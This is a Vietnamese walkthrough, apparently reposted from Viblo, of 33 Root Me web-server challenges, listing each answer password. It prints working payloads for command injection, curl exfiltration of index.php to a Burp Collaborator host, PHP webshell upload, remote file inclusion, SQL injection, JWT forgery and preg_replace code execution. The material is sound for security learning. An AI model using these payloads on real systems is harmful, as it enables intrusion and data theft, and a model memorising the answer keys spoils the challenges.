Overview of Root Me web server challenge

1. HTML - Source code

    Bài đầu tiên khá đơn giản, chỉ cần view source là thấy ngay password rồi image.png

    password là: nZ^&@q5&sjJHev0

2. HTTP - Open redirect

    khi vừa mới vào bài này bạn đề ý tên của bài nhé. Hàm ý bảo là sẽ làm gì đó để kích hoạt chuyển hướng và để giải quyết bài này ta phải chuyển hướng đến tên miền khác với tên hiển thị trong web. Ok , khi view source ta thấy có 3 đường dẫn đến 3 website tương ứng. Tuy nhiên sau đó lại có tham số h truyền vào. Nó có ý nghĩa gì vậy. thử thay đổi h 1 chút xem sao.

    image.png

    Yeah kết quả là nó chẳng chuyển hướng được. tại sao vậy nhỉ. Nhìn vào chuỗi giá trị của h . Hmm rất giống hash MD5 của 1 chuỗi gì đó. Nhưng nó lại liên quan đến việc chuyển hướng. Để thử dự đoán, tôi hash thử chuỗi http://facebook.com và nó ra đúng giá trị của h. Ok vậy dễ rồi. để chuyển hướng ngoài domain ta cần giá trị hash MD5 của nó ví dụ như google.com đi. Payload sẽ là : ?url=https://google.com&h=99999ebcfdb78df077ad2727fd00969f.

    image.png

    và password là: e6f8a530811d5a479812d7b82fc1a5c5

3. HTTP - User-agent

    Ngay từ đầu thì tên bài này đã gợi ý cho chúng ta 1 chút rồi. Cơ bản thì User-agent là 1 header biểu thị thông tin về browser của bạn. Khi bắt đầu challenge ta sẽ thấy 1 website như sau:

    image.png

    Ta thấy 1 dòng duy nhất: Wrong user-agent: you are not the "admin" browser!
Bạn còn nhớ tới user-agent header tôi nói ở trên chứ. Tiêu đề này hiển thị thông tin về browser của bạn. Mà câu trên chỉ ra rằng bạn không phải "admin" browser. Như vậy ta chỉ cần sửa lại giá trị tiêu đề user-agent thành admin là xong:

    image.png

    password là: rr$Li9%L34qd1AAe27

4. Weak Password

    Bài này thì khá đơn giản. sau khi vào chall ta thấy đề bắt yêu cầu nhập username và password. Ngay từ đầu tôi thử nhập admin/admin. Ai ngờ nó được luôn thế là ra luôn.

    Password: admin

5. PHP - Command injection

    The flag is on the index.php file.

    Đây là gợi í của bài. Yeah mục tiêu là phải đọc được file index.php này. Khi bắt đầu vào chall, ta thấy 1 công cụ dùng để ping đến ip bạn nhập vào. Có thể tool này dùng câu lệnh exec('ping $ip') trong php để thực hiện lệnh ping.

    image.png

    bài này thì khá giống kiến thức đối với lỗi Command injection trong PortSwigger nói khá rõ (ở đây). Ta sẽ dùng dấu ngăn cách lệnh trong linux ;để thử xem sao. Ở đây tôi thực hiện lệnh ls -la để xem trong thư mục này có những gì (payload: google.com;ls -la)

    image.png

    Tốt rồi có file index.php, ta xem file đó có gì nào (payload: google.com;cat index.php)

    image.png

    Xem source code ta nhận được password: S3rv1ceP1n9Sup3rS3cure

    image.png

6. Backup file

    Tên bài là backup file nha. Khi vào chall ta thấy ô nhập login và password. Tuy nhiên từ từ đã. Bạn chẳng thể mò mẫm được. Nhớ tên bài là Backup file nha. Như vậy ta sẽ tìm cách tìm được file backup để xem source code. Ở đây tôi dùng công cụ dirsearch để tìm các file ẩn.

    image.png

    Ở đây tôi tìm được file index.php~. Yep đây chính là file backup của nó. Tải về xem được gì nào.

    image.png

    password: OCCY9AcNm1tj

7. HTTP - Directory indexing

    Nghe tên bài có mùi kiểu cây thư mục í nhỉ ^-^. Đầu tiên ta sẽ xem source code xem có gì.

    image.png

    Bạn thây cái này chứ: <!-- include("admin/pass.html") -->. Ta vào theo đường dẫn xem có gì

    image.png

    Ta chẳng được gì cả. Wait, tại sao họ cho mình đi đến tận admin/pass.html mà không có gì. thử back ra /admin xem sao.

    image.png

    Thấy ngay thư mục có tên backup. Ngon rồi đây. Vào đó xem.

    image.png

    Đấy, có admin.txt rồi kìa. vào đó chắc là có kết quả rồi.

    image.png

    -> password: LINUX

8. HTTP - Headers

    Đây là gợi ý của bài nhé: HTTP response give informations Hmm. Nhắc tới response, thế mình cứ đưa vào burp chặn xem ta có gì.

    image.png

    Bận thấy thằng: Header-RootMe-Admin: none chứ. Thế chắc muốn đi tiếp ta phải có thằng header này ở request rồi. Giá trị của nó ta đặt thành true.

    image.png

    ta có ngay password: HeadersMayBeUseful

9. HTTP - POST

    Khi vào chall, mục tiêu của ta là phải vượt qua số điểm 999999 thì mới có thể lấy được password. Sau 1 số lần thử Give a try tôi cũng chẳng thể vượt qua được số điểm đó. Cũng đúng thôi chả nhẽ dễ mà qua thế. Thử đưa vào burp sửa đổi giá trị của điểm xem có dược không.

    image.png

    Yeah. Ăn ngay. Password: H7tp_h4s_N0_s3Cr37S_F0r_y0U

10. HTTP - Improper redirect

    Sau khi bắt đầu chall, ta lại thấy form đăng nhập quen thuộc, Sau khi loay hoay 1 hồi thì ô thôi chả đâu vào đâu cả. Bài này tôi phải lục tìm write up. Bị lừa rồi. Haizz.Làm sao có chuyện chuyển hướng chỉ với cái tham số redirect được chứ (http://challenge01.root-me.org/web-serveur/ch32/login.php?redirect). Tóm lại là lại vứt vào burp xem nó từ đâu đưa mình đến đây.

    image.png

    Vâng và ta có password rồi: ExecutionAfterRedirectIsBad Lỗi ở đây chính là sau khi redirect trang bằng header Location, họ quên exit() hoặc die() nên phần code theo sau vẫn được thực hiện.

// PHP permanent URL redirection
header("Location: http://www.domain.com/new-page.php", true, 301);
exit(); // <----- notice
// old code and flag go here
?> 

11. HTTP - Verb tampering

    Bài này về cơ bản là nó xác thực với phương thức thường dùng là GET và POST. Như vậy thì mình chỉ cần sửa phương thức thành cái khác ví dụ như PUT chẳng hạn là được (Bài này tôi phải đọc write up mới làm được - ai ngờ xác thực như vậy đâu. hic)

    image.png

    password: a23e$dme96d3saez$$prap

12. install files

    Đầu tiên thì PhpBB là một phần mềm miễn phí và cung cấp các tính năng hữu ích có sẵn, đây là công cụ xây dựng diễn đàn phổ biến nhất hiện nay. Cái tên phpBB là từ viết tắt của cụm PHP Bulletin Board. Đọc source ta thấy dòng này: <!-- /web-serveur/ch6/phpbb --> . Với bài này ta sẽ dùng dirsearch để xem có những file ẩn nào.

    image.png

    Ở đây Dev quên xóa folder install rồi.HAHA. truy cập vào xem có gì nào.

    image.png

    Thấy file install.php rồi. Ngon rồi. Truy cập vào ta được password luôn

    image.png

    password: karambar

13. CRLF

    Bài này thì liên quan đến kiến thức về CRLF. Đầu tiên các bạn cần biết CRLF là viết tắt của Carriage Return và Line Feed, CRLF là các ký tự điều khiển, được mã hóa tương ứng0x0D (13 trong hệ thập phân) và 0x0A (10 trong hệ thập phân). Chúng được sử dụng để đánh dấu ngắt dòng trong tệp văn bản. Khi bạn nhập vào ô login là gì thì nếu xác thực không thành công, log sẽ ghi lại giá trị đó cộng với câu: "failed to authenticate.". Mục tiêu của ta là phải xác thực thành công, tức là phải log lại được thằng admin xác thực thành công. Như vậy lợi dụng CRLF ta sẽ có payload như sau: http://challenge01.root-me.org/web-serveur/ch14/?username=admin%20authenticated.%0d%0aguest&password=

    trong đó %0d%0a là \r\n. Giải thích payload này. Sau khi cho chạy, ta sẽ log được 2 dòng như hình dưới.

    image.png

    password: rFSP&G0p&5uAg1%

14. File upload - Double extensions

    Your goal is to hack this photo gallery by uploading PHP code. Retrieve the validation password in the file .passwd at the root of the application.

    Đây là gợi ý của đề bài. Tóm lại ta sẽ tìm cách upload file PHP lên server và đọc file .passwd để tìm password. Ok vào bài thôi.

    image.png

    Nó chỉ cho upload file ảnh có đuôi .gif, .jpeg and .png thôi. Lên google tìm 1 con shell PHP rồi đổi tên nó thành đuôi .png là ok rồi. Ở đây tồi dùng Pony shell. Sau khi up load ta truy cập vào shell. Sau đó ta dùng ls -la để tìm xem trong các thư mục có gì, cho đến khi tìm được file .passwd rồi ta cat để xem nội dùng file đó thôi.

    image.png

    password: Gg9LRz-hWSxqqUKd77-_q-6G8

15. File upload - MIME type

    Bài này tương tự bài trước tuy nhiên, Lần này ta không thể gửi file như bài trước lên được nữa. Lí do nó đã cấu hình đúng rồi. Tuy nhiên nó lại sử dụng Content-Type để định kiểu dữ liệu gửi đi. Như vậy ta có thể sử dụng Burp để chặn và sửa đổi (Các bước y hệt bài trên ngoại trừ xóa đuôi .png trong request gửi lên trong burp)

    image.png

    Sau khi truy cập được vào shell ta làm tương tự như bài trên để đọc được file .passwd

    image.png

    Password: a7n4nizpgQgnPERy89uanf6T4

16. HTTP - Cookies

    Sau khi view source ta thấy có 1 comment khả nghi: <!--SetCookie("ch7","visiteur");--> Khi send email thì hiện ra thông báo Email saved. Nhưng khi bấm Saved email adresses thì lại hiện thông báo You need to be admin. Ta sử dụng burp tiến hành chặn request thử xem.

    image.png

    bạn sẽ thấy phần tiêu đề cookie có giá trị là ch7=visiteur. Sửa lại giá trị này thành ch7=admin là ok.

    image.png

    password: ml-SYMPA

17. Insecure Code Management

    Bài này liên quan đến git. Khi cài đặt mọi thứ với git thì sẽ có 1 folder được tự động generate là .git. Đẻ kiểm tra xem có folder này tồn tại hay không. Tôi sử dụng công cụ dirsearch để tìm kiếm

    image.png

    Bây giờ ta tải hết chúng xuống bằng câu lệnh: wget -r http://challenge01.root-me.org/web-serveur/ch61/.git/. Sau đó sử dụng git show để xem kết quả.

    image.png

    password: s3cureP@ssw0rd

18. JSON Web Token (JWT) - Introduction

    Bài này có liên quan dến kiến thức về JWT. Để giải quyết bài này ta phải kết nối đến như là admin. Khi vào bài ta sẽ thấy khung đăng nhập. Dĩ nhiên là ta chưa biết username cũng như password. Tuy nhiên ta lại được phép đăng nhập như là guest. Thử chặn bằng burp xem có gì.

    image.png

    Bạn để ý phần respone trả về có tiêu đề Set-Cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk. Lấy giá trị JWT kia và sử dụng công cụ jwt.io để decode nó ra xem.

    image.png

    Như bạn thấy ở đây phần Payload chứa giá trị "username": "guest". Và phần Signature chúng ta không biết. Tuy nhiên chúng ta có thể bỏ qua nó bằng cách để "alg": "none" (cái này do nó bị dính lỗi CVE-2018-1000531). Để kết nối đến như là admin, ta thay "username": "admin". Ở đây tôi dùng thư viện pyjwt trong python để tạo mã jwt. Ta được mã: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0. Copy mã này vào tiêu đề Cookie: trong burp ta được

    image.png

    password: S1gn4tuR3_v3r1f1c4t10N_1S_1MP0Rt4n7

19. Directory traversal

    Sau khi vào bài, ta thấy để truy cập vào các tag đều thông qua param ?galerie= . Ta sử dụng dirbuster để tìm kiếm các tag khả thi.

    image.png

    Thấy xuất hiện đường link sau mà không có trên giao diện trang web: http://challenge01.root-me.org/web-serveur/ch15/ch15.php?galerie=86hwnX2r. Truy cập vào thì thấy có 1 mục là password.txt. Truy cập vào ta lấy được password

    image.png

    password: kcb$!Bx@v4Gs9Ez

20. File upload - Null byte

    Bài này cũng tương tự bài trước. Tuy nhiên ở bài này thì ta sẽ thực hiện chèn kí tự null vào tên file. Lí do là vì nó check đuôi file nhưng khi đọc tên file nó chỉ đọc đến kí tự null rồi dừng lại. Lỗi này đã được fix từ phiên bản PHP 5.3

    image.png

    Sau khi upload thành công ta nhấp vào ảnh vừa upload và thu được password: YPNchi2NmTwygr2dgCCF

21. JSON Web Token (JWT) - Weak secret

    Sau khi truy cập ta được như sau:

    {"message": "Let's play a small game, I bet you cannot access to my super secret admin section. Make a GET request to /token and use the token you'll get to try to access /admin with a POST request."}

    Ta tạo GET request đến /token thì được 1 token sau: eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QifQ.a4Cxf97xhqpexX-Mw0Ik74ncg6TdCK8R_Q7wYC929himTEOyJmePFYCJYvj-ICUTZrVqjPUa83GeMO5AVuOH0Q

    Đưa vào jwt.io thì ta được như sau:

    image.png

    Phần payload có ghi là

{
  "role": "guest"
}
như vậy để truy cập như là admin ta chỉ cần thay đổi thành
{
  "role": "admin"
}

    Tuy nhiên cái khó ở đây là chúng ta không biết private key của nó là gì. Ở đây ta chỉ còn cách là vét cạn các khả năng thôi. Tôi dùng jwt_tools và tập rockyou.txt để làm điều này

    image.png

    key của chúng ta là: lol Tiếp tục sử dụng thư viện pyjwt trong python để generate ra mã jwt của ta.

    image.png

    đưa mã đó vào burp suite khi ta tạo POST request đến /admin là ta sẽ có được password

    image.png

    password: PleaseUseAStrongSecretNextTime

22. PHP - assert()

    Trong lập trình PHP có các lệnh là include, require, include_once, require _ once cho phép việc file hiện tại gọi ra một file khác. File Inclusion Attack: là kỹ thuật khai thác dựa trên lỗi include file trong PHP. Dấu hiện để có thể tấn công FI là đường link thường có dạng php?page=,hoặc php?file=. Để biết website có bị lỗi này hay không ta chỉ việc thêm một dấu ‘ vào đường link, cụ thể php?page=’. Và trên trình duyệt có thông báo lỗi hiện ra. Khẳng định web này bị LFI bằng cách như trên.

    image.png

    Ở thông báo lỗi chúng ta có 2 lệnh trong PHP được sử dụng là assert() và strpos(). Trong đó hàm assert() kiểm tra đầu vào và trả về giá trị bool. Nếu kết quả là fallse thì nó sẽ thực hiện hành động thích hợp. Còn hàm strpos() dùng để tìm vị trí xuất hiện đầu tiên của chuỗi con trong chuỗi cha. Code PHP của đoạn này có thể là:
assert("strpos('includes/$file.php', '..') === false") or die("Detected hacking attempt!");
Trong đó $file là nơi chúng ta nhập vào trên URL. Như vậy để bypass đoạn code trên ta xây dựng payload sau: http://challenge01.root-me.org/web-serveur/ch47/?page=','1') or system("ls -la");// Ở đây mình để // cuối để comment hết mấy phần không cần thiết đi.

    image.png

    Ok. payload hoạt động rồi. Vậy chúng ta đọc file .passwd thôi

    image.png

    password: x4Ss3rT1nglSn0ts4f3A7A1Lx

23. PHP - Filters

    Sau khi truy cập vào trang login của bài thì trên URL khá gióng với bài trước. http://challenge01.root-me.org/web-serveur/ch12/?inc=login.php. Cũng thử LFI như bài trước thế nhưng không được gì cả. Nhìn lại tên bài thì có lẽ phải sử dụng php://filter ở đây.

    php filter được dùng để xác thực và làm sạch đầu vào bên ngoài. có rất nhiều filter có thể được dùng. Một trong số đó là convert.base64-encodebase64-decode.

    php://filter/convert.base64-encode/resource cho phép chúng ta đọc bất kì file php nào. Tuy nhiên chúng sẽ được mã hóa base-64. Và chúng ta phải decode nó để có thể xem source các file

    đối với bài này ta tiến hành đoán các file có thể hữu dụng. Trong trường hợp này file đó là config.php payload: http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/convert.base64-encode/resource=config.php

    image.png

    Ta nhận được 1 chuỗi được encode bởi base64. decode nó ra ta được password: DAPt9D2mky0APAF

24. PHP - register globals

    Bài này ta sẽ ghi đè nội dung biến toàn cục. Đầu tiên ta phải tìm file backup của nó để xem nó hoạt động như thế nào. Ở đây tôi dùng dirsearch để làm việc đó.

    image.png

    file backup ở đây là index.php.bak. Tải về và xem nội dung.

    image.png

    Ở đây password sẽ hiện khi mà $_SESSION["logged"]==1. Như vậy ta thực hiện ghi đè biến này thông qua URL như sau: http://challenge01.root-me.org/web-serveur/ch17/?_SESSION[logged]=1

    image.png

    password: NoTQYipcRKkgrqG

25. File upload - ZIP

    Để hiểu rõ về lệnh link và ln trong linux các bạn có thể đọc thêm ở đây. Bài này chúng ta tạo 1 liên kết đến file index.php: ln -s ../../../index.php test.txt Chúng ta cần quay lại 3 folder (các bạn thử từng folder 1 đến khi thấy index.php) và sau đó chúng ta nén lại với tùy chọn symlink (tạo liên kết tượng trưng) zip --symlinks test.zip test.txt sau khi upload file lên. ta đọc file test.txt là sẽ thấy password: N3v3r_7rU5T_u5Er_1npU7

    image.png

26. Command injection - Filter bypass

    Bài này tương tự bài 5. Về cơ bản ta cũng sẽ thấy 1 công cụ để ping đến 1 địa chỉ IP. Ta cũng thử với các dấu phân tách câu lệnh như bài 5, Tuy nhiên tất cả đều không được và trả về lỗi. Nhận thấy là chúng bị filter khá kĩ rồi. Không thể nào mà mò tay được và tôi cũng không đủ kiên nhẫn, nên tôi đã tìm được 1 list các payload về command injection ở đây. Bắt đầu tìm payload hoạt động được bằng cách sử dụng Burp Intruder.

    image.png

    Bạn để ý chứ. Những payload có %0A đều có respone trả về "Ping OK" tức có nghĩa là đã inject thành công. Tiếp theo để kiểm chứng xem liệu rằng ta có khai thác được hay không thì ta sẽ sử dụng burp repeater và inject command trên. Ở đây tôi sử dụng lệnh sleep 5 để kiểm chứng. Nếu thành công thì respone sẽ trả về sau 5 giây. Lí do tôi chọn lệnh này là do nó bị blind os command injection. Ta inject thành công tuy nhiên respone không trả về kết quả ta mong muốn

    image.png

    Để xử lý lỗi blind này ta thực hiện curl đến tên miền của chúng ta. Nếu ta nhận được request đến tức là thành công thực hiện Out-of-band rồi. Cho dễ dàng thì tôi dùng burp collaborator client (các bạn có thể sử dụng các nguồn khác như https://requestbin.com) .

    image.png

    Tiếp theo ta sẽ thực hiện gửi nội dung file index.php với payload sau: google.com%0Acurl -X POST -d @index.php https://ugedll9lbfhvbjnt9vaotw69m0sqgf.burpcollaborator.net Ở đây dấu @ tức là gửi nội dung file . Thế là ta đọc được index.php và password: Comma@nd_1nJec7ion_Fl@9_1337_Th3_G@m3!!!

    image.png

27. Local File Inclusion

    Local file inclustion (LFI) là kĩ thuật đọc file trong hệ thống , lỗi này xảy ra thường sẽ khiến website bị lộ các thông tin nhảy cảm như là passwd, php.ini, access_log,config.php…

    image.png

    Như bạn để ý thì trên URL có 2 tham số để chỉ định đường dẫn ta truy cập (dấu hiệu rất rõ ràng về lỗi RFI/LFI). Dựa vào bên góc phải thấy có 2 kiểu kết nối là guess/admin. Từ đó ta có thể đoán là có 1 thư mục tên là admin. Và cũng ở đề bài là ta phải tìm password trong admin section. Như vậy mục tiêu của ta là phải truy cập được vào file admin kia. Tôi thử lần lượt "../" vào 1 trong 2 tham số cho đến khi xuất hiện file admin. Dưới đây là payload của tôi: http://challenge01.root-me.org/web-serveur/ch16/?files=../admin&f=index.php

    image.png

    password: OpbNJ60xYpvAQU8

28. Local File Inclusion - Double encoding

    image.png

    Như bạn thấy đấy, Trang này điều hướng bằng tham số page. Như vậy rất có thể trang bị dính lỗi LFI/RFI. Tương tự như bài trước tôi cũng sử dụng "../" để quay về các thư mục trên hệ thống của web. Tuy nhiên không may mắn được nữa rồi. Tôi nhận được thông báo: Attack detected. Chắc dó web nó lọc các kí tự này rồi. Tôi đọc tài liệu này để có thể làm được bài này. Các kí tự thường dùng sau khi được encode và double encode sẽ như sau:

: => %3A => %253A

/ => %2F => %252F

. =>%2E => %252E

– => 2D => %252D

= => 3D => %253D

    Đầu tiên tôi thử encode các kí tự ../ thành %2E%2E%2f theo URLencode và thử lại vào trong tham số page. Tuy nhiên vẫn như cũ bị bật ra thông báo như trên. Hmm. Đề bài là double encoding . Thử encode tiếp 1 lần nữa xem sao, như vậy %2E%2E%2f thành %252E%252E%252F

    image.png

    Ok. không hiện thông báo kia nữa. Có hy vọng rồi. Nhiệm vụ của ta là phải đọc được source file của website này. Ứng dụng kiến thức như bài 23. Chúng ta sẽ sử dụng php://filte với base64 encoding. Payload sẽ thế này: php://filter/convert.base64-encode/resource=contact. Sau lần encode đầu tiên sẽ như thế này: php%3A%2F%2Ffilter%2Fconvert%2Ebase64-encode%2Fresource%3Dcontact. Và encode tiếp 1 lần nữa sẽ được: php%253A%252F%252Ffilter%252Fconvert%252Ebase64-encode%252Fresource%253Dcontact.

    image.png

    decode đoạn đó ra ta được

    image.png

    <?php include("conf.inc.php"); ?> Rất có thể password nằm trong file conf.inc.php. Lưu í nữa là khi ta nhập tên file vào sau tham số page thì nó tự động thêm đuôi .inc.php. Như vậy ta chỉ cần thay contact thành conf là ok. Ta tiếp tục được 1 đoạn mã được encode bởi base64. decode nó ra là được

    image.png

    password: Th1sIsTh3Fl4g!

29. PHP - Loose Comparison

    Kiến thức có liên quan ở đây. PHP có 2 model so sánh 1 là "==" gọi là loose comparison và "===" gọi là strict comparison. Khi đọc tài liệu ta thấy có 1 ví dụ sau: TRUE: "0e12345" == "0e54321". Các biết vì sao chúng nó bằng nhau không. lí do ở đây 0e trong php xem như là 0 mũ. Như vậy số đằng sau là bao nhiêu thì cũng bằng 0 thôi.

    image.png

    Quay lại bài. Sau khi đọc code thì ta thấy nhiệm vụ là phải điền vào giá trị vào ô seed và ô hash sao cho sau khi check ta được kết quả trả về true. Như vậy ta phải tìm giá trị ô hash sao cho sau khi hash MD5 nó bắt đầy bằng 0e. Để làm điều này ta sẽ chạy đoạn code sau:

import hashlib

import re

for i in range(0,999999999):


    md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()


    regex = re.match("^[0-9]+$",md5[3:])


    if ((md5[0:2]) == '0e' and regex):


        print(str(i)+"=>"md5)


        break


    else:


        print("wrong")

    Và khi chạy thì kết quả là: 240610708=>0e462097431906509019562988736854 ta điền vào ô seed và hash giá trị lần lượt là 0e và 240610708 thì được password: F34R_Th3_L0o5e_C0mP4r15On

    image.png

30. PHP - type juggling

    Sử dụng burp suite bắt request ta có thể thấy dữ liệu được gửi đi dưới dạng chuỗi được encode.

    image.png

    Decode nó ra thi nhận thấy dữ liệu này được viết dưới dạng JSON. Password được hash SHA256.

    image.png

    Đọc code thì thấy để lấy được flag ta phải so sánh login với $USER và password với $PASSWORD_SHA256. Với tài liệu này ta có thể dễ dàng bypass được loại so sánh yếu này và bypass hàm strcmp(). Cụ thể với login=true thì khi so sánh với string nó sẽ trả về true. Đồng thời hàm strcmp sẽ trả về null khi so sánh 1 mảng với giá trị khác. Như vậy ta có thể xây dựng payload sau: {"data":{"login":true,"password":["456"]}}. Sau khi encode và gửi đi ta nhận được password: DontForgetPHPL00seComp4r1s0n

    image.png

31. Remote File Inclusion

    image.png

    Bài này bạn để ý trên URL nhé. Nó cho phép ta chọn ngôn ngữ dựa vào tham số lang. Để kiểm tra ta thử cho giá trị của tham số là ../../etc/password

    image.png

    Ta nhận được thông báo lỗi. Dường như bất cứ thứ gì ta nhập vào đều được tự động thêm đuôi _lang.php._ Việc đầu tiên ta phải tìm cách bỏ cái đuôi này đi. Sau khi tìm 1 hồi thì tôi tìm được cách đó là thêm dấu ? vào sau chuỗi ta nhập. Thử truy cập đến 1 web khác. http://challenge01.root-me.org/web-serveur/ch13/?lang=https://vnexpress.net?

    image.png

    Ok ta đã truy cập được 1 trang khác. Bây giờ ta sẽ viết 1 đoạn code đơn giản từ trang https://pastebin.com/. Đoạn code :

<?php
echo file_get_contents("index.php");
?>

    Ở đây hàm file_get_contents sẽ đọc nội dung file thành 1 chuỗi. payload: http://challenge01.root-me.org/web-serveur/ch13/?lang=https://pastebin.com/raw/FsYqLDeV?

    image.png

    Password: R3m0t3_iS_r3aL1y_3v1l

32. SQL injection - Authentication

    image.png

    Sau 1 số lần thử thì tôi nhận thấy, Dù ta có bypass qua được thì tên người dùng vẫn là user1. mà nhiệm cụ của ta là phải lấy được password của admin kia. Để giải quyết vấn đề này ta nhập admin vào ô login và ' or ( 1=1 and username='admin')-- vào ô password Đọc source code ta được password: t0_W34k!$

    image.png

33. PHP - preg_replace()

    Tài liệu này là 1 hint khá tốt cho bài này. ở đây hàm preg_replace cung cấp 1 chức năng cho phép thực thi mã php ở đối số thứ 2 đó là /e. Điều ta cần làm là đọc được nội dung file flag.php. Ở đây ta điền ô search là /abc/e. Ô replace điền file_get_contents('flag.php') (dùng hàm này ở đây vì 1 số hàm khác như system(), exec()...không được phép vì lí do bảo mật). Ô content điền abc

    image.png

    và được kết quả:

    image.png

    password: pr3g_r3pl4c3_3_m0d1f13r_styl3

Nguồn: Viblo

Bình luận
Vui lòng đăng nhập để bình luận
Một số bài viết liên quan